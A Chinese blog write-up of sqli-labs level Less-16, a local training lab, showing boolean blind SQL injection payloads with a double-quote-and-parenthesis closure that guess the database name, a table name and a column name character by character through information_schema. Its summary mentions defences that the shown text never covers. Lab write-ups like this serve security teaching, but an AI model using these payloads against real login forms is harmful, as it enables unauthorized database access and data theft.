51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

sqli-labs系列——Less-16

摘要 {#摘要}

这篇文章主要介绍了如何通过Less-16注入漏洞进行盲注实验。实验过程中,首先通过判断数据库名称长度为8,然后利用ASCII码猜解数据库名称为security。接着,通过查询information_schema.tables表找到emails表的名称,再查询information_schema.columns表找到id字段的名称。通过这些步骤,我们成功获取了数据库的名称、表名、列名以及相应的数据,同时也提到了注入漏洞的危害以及如何避免注入漏洞的发生。

前言 {#前言}

这题跟我们第十五关是一样的思路,都是经过post传参的盲注,只是闭合的区别,这关使用的是双引号加单括号进行布尔盲注

前期准备 {#前期准备}

开启phpstudy,开启apache服务以及mysql服务 打开ASCII表

图片-1686619451321

实验环节 {#实验环节}

浏览器访问Less-16 {#浏览器访问Less-16}

http://127.0.0.1/sqli-labs-master/Less-16/

图片-1686732240491

判断库名长度 {#判断库名长度}

") or (length(database()))=8 -- xz
#页面正常显示成功登录字样,说明库名长度为8

图片-1686732327185

利用ASCII码猜解当前数据库名称 {#利用ASCII码猜解当前数据库名称}

") or (ascii(substr(database(),1,1)))=115-- xz
#返回正常,说明数据库名称第一位是s
") or (ascii(substr(database(),2,1)))=101-- xz
#返回正常,说明数据库名称第二位是e
......以此类推,答案都是一样的,只是做法有所不同

图片-1686732347128 图片-1686732367642

") or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101-- xz
#返回正常,说明数据库表名的第一个的第一位是e
.....以此类推说明该表名是emails

图片-1686732417873

判断字段名 {#判断字段名}

")or (ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=105-- xz
#返回正常,说明emails表中的列名称第一位是i
......以此类推该字段名为id

图片-1686732440692

赞(3)
未经允许不得转载:工具盒子 » sqli-labs系列——Less-16